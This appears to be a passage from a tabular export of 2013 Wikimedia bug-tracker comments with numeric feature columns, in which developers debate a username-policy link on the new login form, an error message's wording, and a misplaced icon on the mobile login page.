Regarding the original point (only showing it after an error), it is true that ""when you try to create a ""blacklisted"" user name you get an error message""

But there are a lot of usernames that are not appropriate, but not blacklisted.  And some wikis don't have automated blacklists enabled."
230319,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","Bartosz, thanks for your patch. It and the discussion of what urls should appear in the new forms by default belongs in bug 47801.

This bug remains an interesting idea that we probably won't implement. Wikis could implement it by blanking the message in the createaccount form and adding a '_help with usernames_' link to messages like 'noname'; it's a useful approach for some wikis and we should suggest this somewhere, maybe https://www.mediawiki.org/wiki/Manual:Page_customizations ?

Note bug 47530 ""Open username policy in tooltip"" should help with the problem identified by this bug by making the advice more lightweight.",,,1367266715,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-18,True,1.0,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.0,2.5,3.5,0.0,0.0,0.0,1.5,0.0,3.5,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,1.0,2.0,1.5,0.5,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,20.5,0.0,2.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,0.0,4.5,0.5,2.0,8.5,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,3.5,11.0,1.0,1.0,5.0,0.0,3.5,0.0,0.5,2.0,0.0,2.0,1.0,0.0,1.0,4.146551724137931,0.8189655172413792,"Bartosz, thanks for your patch. It and the discussion of what urls should appear in the new forms by default belongs in bug 47801.

This bug remains an interesting idea that we probably won't implement. Wikis could implement it by blanking the message in the createaccount form and adding a '_help with usernames_' link to messages like 'noname'; it's a useful approach for some wikis and we should suggest this somewhere, maybe URL ?

Note bug 47530 ""Open username policy in tooltip"" should help with the problem identified by this bug by making the advice more lightweight."
230315,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt",I submitted Ie0888cd0 to blank this message by default.,,,1367253421,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7,1.0,I submitted Ie0888cd0 to blank this message by default.
230308,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt",Related URL: https://gerrit.wikimedia.org/r/61395 (Gerrit Change Ie0888cd0582dc3f63ae569097159a4d9b171a5df),,,1367253329,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ie0888cd0582dc3f63ae569097159a4d9b171a5df)
230303,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","(In reply to comment #7)
> I don't think having to customize a link and/or its text is such a bad thing,
> we do it all the time on Wikimedia projects.

Precisely. Which is why *we* should keep doing that, instead of forcing it on all MediaWiki projects everywhere.


> Other than that, this thread has
> devolved pretty rapidly in to trolling. I have about 20-something other bugs
> or
> enhancements to deal with, so I'm moving on.

Please don't throw tantrums when you're disagreeing with someone. This is just irresponsible.",,,1367252923,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,True,,,-18,True,2.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,2.0,2.0,11.0,8.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,19.0,3.0,0.0,6.0,0.0,0.0,0.0,2.0,6.0,2.0,2.0,0.0,5.0,8.0,6.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.838709677419355,0.7580645161290323,"(In reply to comment #7)
QUOTE
QUOTE

Precisely. Which is why *we* should keep doing that, instead of forcing it on all MediaWiki projects everywhere.


QUOTE
QUOTE
QUOTE
QUOTE

Please don't throw tantrums when you're disagreeing with someone. This is just irresponsible."
230296,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","**swalling** wrote:

(In reply to comment #6)
> (In reply to comment #1)
> > Either that, or redirect to a central one.
> 
> Ridiculous, we don't even have crosswiki redirects; stop climbing mirrors,
> Steven. 
> 
> If you believe a central help page is needed,
> 1) create it on mediawiki.org and make it translatable,
> 2) link it from the interface.
> 
> If you believe a policy is needed, please get consensus for this claim. I've
> opened a new section for you at
> https://meta.wikimedia.org/w/index.
> php?title=Wikimedia_Forum&oldid=5442481#Username_policies

Nemo, I'm sorry but that thread is too much. What point are you trying to make, other than that you can selectively quote me on Meta, but not by name, and get some people to snark about it? You trying to drum up anger by putting words in my mouth about forcing policy on communities, when that is _not_ what I said or meant, is ridiculous. 

I don't think having to customize a link and/or its text is such a bad thing, we do it all the time on Wikimedia projects. Other than that, this thread has devolved pretty rapidly in to trolling. I have about 20-something other bugs or enhancements to deal with, so I'm moving on.",,,1367252053,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-18,True,1.5,0.5,0.0,0.0,1.5,3.5,1.5,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,4.0,0.0,4.5,12.0,0.5,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,6.0,1.0,1.5,2.0,1.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,10.5,1.0,1.5,1.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.5,2.5,13.0,1.0,3.5,7.0,0.0,0.0,0.0,0.5,4.5,0.0,1.0,0.0,7.5,12.0,8.5,0.5,0.0,0.0,7.5,0.0,1.5,1.0,0.5,3.0,0.0,0.0,0.0,3.39247311827957,0.6612903225806452,"**swalling** wrote:

(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Nemo, I'm sorry but that thread is too much. What point are you trying to make, other than that you can selectively quote me on Meta, but not by name, and get some people to snark about it? You trying to drum up anger by putting words in my mouth about forcing policy on communities, when that is _not_ what I said or meant, is ridiculous. 

I don't think having to customize a link and/or its text is such a bad thing, we do it all the time on Wikimedia projects. Other than that, this thread has devolved pretty rapidly in to trolling. I have about 20-something other bugs or enhancements to deal with, so I'm moving on."
230289,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","(In reply to comment #1)
> Either that, or redirect to a central one.

Ridiculous, we don't even have crosswiki redirects; stop climbing mirrors, Steven. 

If you believe a central help page is needed,
1) create it on mediawiki.org and make it translatable,
2) link it from the interface.

If you believe a policy is needed, please get consensus for this claim. I've opened a new section for you at https://meta.wikimedia.org/w/index.php?title=Wikimedia_Forum&oldid=5442481#Username_policies",,,1367221076,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,2.0,1.0,6.0,0.0,0.0,0.0,2.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,9.0,2.0,1.0,6.0,0.0,0.0,0.0,1.0,7.0,1.0,1.0,0.0,9.0,11.0,1.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,4.0,3.6,0.7176470588235294,"(In reply to comment #1)
QUOTE

Ridiculous, we don't even have crosswiki redirects; stop climbing mirrors, Steven. 

If you believe a central help page is needed,
1) create it on mediawiki.org and make it translatable,
2) link it from the interface.

If you believe a policy is needed, please get consensus for this claim. I've opened a new section for you at URL"
230281,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","(In reply to comment #4)
> Wikimedia sites are different in this regard. We have local policies about
> group accounts, accounts that seem to represent a company, accounts with
> offensive names, etc. that will get users blocked if they violate them. A
> link
> is the least intrusive way to provide this information up front to users, and
> many of the local rules won't generate an error message at all.

Precisely - it's the Wikimedia sites that are different, and this shouldn't be enforced globally. There's nothing preventing you from inserting an empty message there and letting wiki's admins customize it.

I noticed this when trying out the new UI at pl.wikipedia, and I agree with Quim and MZMcBride – this link should not be there by default.",,,1367171737,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,1.0,2.0,4.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,2.0,1.0,8.0,8.0,1.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,1.0,2.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,10.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,3.0,3.0,17.0,1.0,4.0,7.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,6.0,8.0,9.0,0.0,0.0,0.0,6.0,0.0,2.0,1.0,0.0,4.0,0.0,0.0,0.0,3.9101123595505616,0.6966292134831461,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Precisely - it's the Wikimedia sites that are different, and this shouldn't be enforced globally. There's nothing preventing you from inserting an empty message there and letting wiki's admins customize it.

I noticed this when trying out the new UI at pl.wikipedia, and I agree with Quim and MZMcBride – this link should not be there by default."
230272,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","**swalling** wrote:

(In reply to comment #2)
> Also why poor practice? What is the % of users that hit a wrong username vs
> the
> ones just going through? Have you seen any popular web service referring to a
> username policy the moment you create an account? I have registered to plenty
> of online services and never saw such notice.

Wikimedia sites are different in this regard. We have local policies about group accounts, accounts that seem to represent a company, accounts with offensive names, etc. that will get users blocked if they violate them. A link is the least intrusive way to provide this information up front to users, and many of the local rules won't generate an error message at all.

> In the current registration page that link is one of many and I'm sure most
> users don't even see it. But in the new UX (which I love) it suddenly becomes
> the most visible link. 

The link is far less prominent than what some wikis are doing in their old versions of the forms: walls of text explaining the rules.

Users do click through and read this link, even when it was embedded in a mountain of text, and still successfully create accounts. (On English Wikipedia, for example, it's the number three referrer to sign up page.) Adding the link up front is not doing harm, and in fact may be doing some good. 

Anyway, MZ can play tug of war with the bug status, but I'm not going to recommend  to E3 that we implement this.",,,1367171350,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-18,True,1.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,3.0,0.6666666666666666,0.0,0.0,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,5.666666666666667,10.666666666666666,0.0,2.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,4.666666666666667,0.0,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,15.333333333333334,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,1.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,4.333333333333333,2.6666666666666665,8.333333333333334,0.6666666666666666,2.0,7.0,0.0,0.0,0.0,0.3333333333333333,4.666666666666667,0.0,0.6666666666666666,0.0,3.0,10.666666666666666,4.333333333333333,0.0,0.0,0.0,3.0,0.0,1.3333333333333333,1.3333333333333333,0.3333333333333333,2.3333333333333335,0.3333333333333333,0.3333333333333333,0.6666666666666666,3.710526315789474,0.7631578947368421,"**swalling** wrote:

(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Wikimedia sites are different in this regard. We have local policies about group accounts, accounts that seem to represent a company, accounts with offensive names, etc. that will get users blocked if they violate them. A link is the least intrusive way to provide this information up front to users, and many of the local rules won't generate an error message at all.

QUOTE
QUOTE
QUOTE

The link is far less prominent than what some wikis are doing in their old versions of the forms: walls of text explaining the rules.

Users do click through and read this link, even when it was embedded in a mountain of text, and still successfully create accounts. (On English Wikipedia, for example, it's the number three referrer to sign up page.) Adding the link up front is not doing harm, and in fact may be doing some good. 

Anyway, MZ can play tug of war with the bug status, but I'm not going to recommend  to E3 that we implement this."
230266,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","(In reply to comment #1)
> All Wikimedia projects should have a help document or policy describing what
> is and is not an acceptable username.

This bug is in the ""MediaWiki"" product, not the ""Wikimedia"" product. Re-opening.",,,1367125672,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,21.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,12.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0294117647058822,0.7647058823529411,"(In reply to comment #1)
QUOTE
QUOTE

This bug is in the ""MediaWiki"" product, not the ""Wikimedia"" product. Re-opening."
230260,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","> All Wikimedia projects should have a help document or policy describing what 
> is and is not an acceptable username.

Maybe, although this is not the reality today. But in any case: this a feature in MediaWiki core, not an extension used only by Wikimedia projects. I don't think we can enforce Wikimedia policies through the UI of a plain MediaWiki feature.

Also why poor practice? What is the % of users that hit a wrong username vs the ones just going through? Have you seen any popular web service referring to a username policy the moment you create an account? I have registered to plenty of online services and never saw such notice.

In the current registration page that link is one of many and I'm sure most users don't even see it. But in the new UX (which I love) it suddenly becomes the most visible link. And let me repeat, the long destination page only helps to those having the patience to read 40% of it through. I wouldn't be surprised if in practice people try whatever username had in mind already without reading any policy in advance.

Please consider reopening, even if it doesn't fit in your priorities today.",,,1366953337,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-18,True,1.3333333333333333,0.0,0.0,0.0,2.3333333333333335,5.0,1.0,0.0,0.3333333333333333,1.0,3.3333333333333335,2.0,0.0,0.6666666666666666,0.0,2.6666666666666665,0.0,7.666666666666667,10.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,5.333333333333333,2.0,1.6666666666666667,0.3333333333333333,1.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,14.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,5.666666666666667,1.3333333333333333,7.666666666666667,1.6666666666666667,1.6666666666666667,8.666666666666666,0.0,0.0,0.0,0.0,3.6666666666666665,0.3333333333333333,0.6666666666666666,0.0,5.333333333333333,10.0,2.0,1.0,0.0,0.0,5.333333333333333,0.0,2.0,2.0,0.3333333333333333,2.0,0.0,0.6666666666666666,0.0,3.959311424100157,0.8046426708398539,"QUOTE
QUOTE

Maybe, although this is not the reality today. But in any case: this a feature in MediaWiki core, not an extension used only by Wikimedia projects. I don't think we can enforce Wikimedia policies through the UI of a plain MediaWiki feature.

Also why poor practice? What is the % of users that hit a wrong username vs the ones just going through? Have you seen any popular web service referring to a username policy the moment you create an account? I have registered to plenty of online services and never saw such notice.

In the current registration page that link is one of many and I'm sure most users don't even see it. But in the new UX (which I love) it suddenly becomes the most visible link. And let me repeat, the long destination page only helps to those having the patience to read 40% of it through. I wouldn't be surprised if in practice people try whatever username had in mind already without reading any policy in advance.

Please consider reopening, even if it doesn't fit in your priorities today."
230254,"[New UserLogin] ""(help me choose)"" should appear only after a failed registration attempt","**swalling** wrote:

All Wikimedia projects should have a help document or policy describing what is and is not an acceptable username. Either that, or redirect to a central one. Only providing the help link after the user fails is poor practice.",,,1366951401,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fchvq33a4ppcnk465wwu,task_subcomment,,True,c2,1,False,,,-18,True,2.0,0.0,0.0,0.0,2.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,8.0,2.0,8.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,4.0,0.0,0.0,0.0,4.0588235294117645,0.7843137254901961,"**swalling** wrote:

All Wikimedia projects should have a help document or policy describing what is and is not an acceptable username. Either that, or redirect to a central one. Only providing the help link after the user fails is poor practice."
49695,Improve message for attempted login for a non-existent username,"**Author:** `Thehelpfulonewiki`

**Description:**
When I logged in without a username that exists, I got the message ""There is no user by the name ""Thehelpfulone3"". Check your spelling, or go to Wikipedia's signup page to create a new user account.""

""Wikipedia's signup page"" links to https://en.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup. Can we change the wording from ""Wikipedia's signup page"" to something better? I'm open to suggestions, but as a first idea: ""click here to create a new user account""?

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1366935000,1366936100.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-link6ash257szwpy75ub,task_description,declined,True,c2,1,False,False,True,-18,True,0.0,1.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.5,2.5,0.0,1.5,7.5,1.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,3.5,0.0,0.0,0.0,0.5,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,0.5,10.5,0.5,1.5,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,7.5,3.0,1.5,6.5,0.0,3.0,0.0,1.0,2.5,0.0,0.0,1.0,0.0,0.0,3.5849974398361493,0.6720430107526881,"**Author:** CODE

**Description:**
When I logged in without a username that exists, I got the message ""There is no user by the name ""Thehelpfulone3"". Check your spelling, or go to Wikipedia's signup page to create a new user account.""

""Wikipedia's signup page"" links to URL Can we change the wording from ""Wikipedia's signup page"" to something better? I'm open to suggestions, but as a first idea: ""click here to create a new user account""?

--------------------------
**Version**: unspecified
**Severity**: enhancement"
229697,Improve message for attempted login for a non-existent username,"This is not a software issue.  It's English Wikipedia's https://en.wikipedia.org/wiki/MediaWiki:Nosuchuser override.  For reference, the software default is:

There is no user by the name ""$1"".
Usernames are case sensitive.
Check your spelling, or [[Special:UserLogin/signup|create a new account]].

You can certainly propose to change English Wikipedia's at https://en.wikipedia.org/wiki/MediaWiki_talk:Nosuchuser or e.g. the village pump.",,,1366936100,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-link6ash257szwpy75ub,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,19.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,4.0,5.0,9.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.6296296296296298,0.691358024691358,"This is not a software issue.  It's English Wikipedia's URL override.  For reference, the software default is:

There is no user by the name ""$1"".
Usernames are case sensitive.
Check your spelling, or [[Special:UserLogin/signup|create a new account]].

You can certainly propose to change English Wikipedia's at URL or e.g. the village pump."
49648,"meta.m.wikimedia.org user login screen inexplicably has ""W"" icon","Screenshot of meta.m.wikimedia.org's user login screen inexplicably showing a ""W"" icon

When I go to <https://meta.m.wikimedia.org/wiki/Special:UserLogin>, I see a large, prominent ""W"" icon. I don't know why.

The icon is <https://bits.wikimedia.org/static-1.22wmf2/extensions/MobileFrontend/stylesheets/specials/images/W.png>. I've also included a screenshot with this bug report.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://meta.m.wikimedia.org/wiki/Special:UserLogin

**Attached**: {F10879}",Needs Triage,90.0,1366902540,1368140918.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-lhmac4kq4rzjvl3updap,task_description,resolved,True,c2,1,True,False,True,-18,True,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,4.0,1.0,19.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,4.0,0.0,4.0,0.0,4.0,0.0,2.0,3.0,0.0,1.0,0.0,0.0,2.0,3.2967032967032965,0.5604395604395604,"Screenshot of meta.m.wikimedia.org's user login screen inexplicably showing a ""W"" icon

When I go to <URL I see a large, prominent ""W"" icon. I don't know why.

The icon is <URL I've also included a screenshot with this bug report.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL

**Attached**: {F10879}"
226513,"meta.m.wikimedia.org user login screen inexplicably has ""W"" icon",https://gerrit.wikimedia.org/r/63072 (Gerrit Change I58d0129f7e0e053f8e24c10c53f7fa4709be64c5) | change APPROVED and MERGED [by Jdlrobson],,,1368140898,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lhmac4kq4rzjvl3updap,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,47.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,47.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.8,1.0,GERRIT_URL (Gerrit Change I58d0129f7e0e053f8e24c10c53f7fa4709be64c5) | change APPROVED and MERGED [by Jdlrobson]
226509,"meta.m.wikimedia.org user login screen inexplicably has ""W"" icon",Related URL: https://gerrit.wikimedia.org/r/63072 (Gerrit Change I58d0129f7e0e053f8e24c10c53f7fa4709be64c5),,,1368135835,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lhmac4kq4rzjvl3updap,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I58d0129f7e0e053f8e24c10c53f7fa4709be64c5)
226506,"meta.m.wikimedia.org user login screen inexplicably has ""W"" icon","**mgrover** wrote:

Assigned Mingle Ticket https://mingle.corp.wikimedia.org/projects/mobile/cards/747",,,1366946203,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lhmac4kq4rzjvl3updap,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.75,"**mgrover** wrote:

Assigned Mingle Ticket URL"
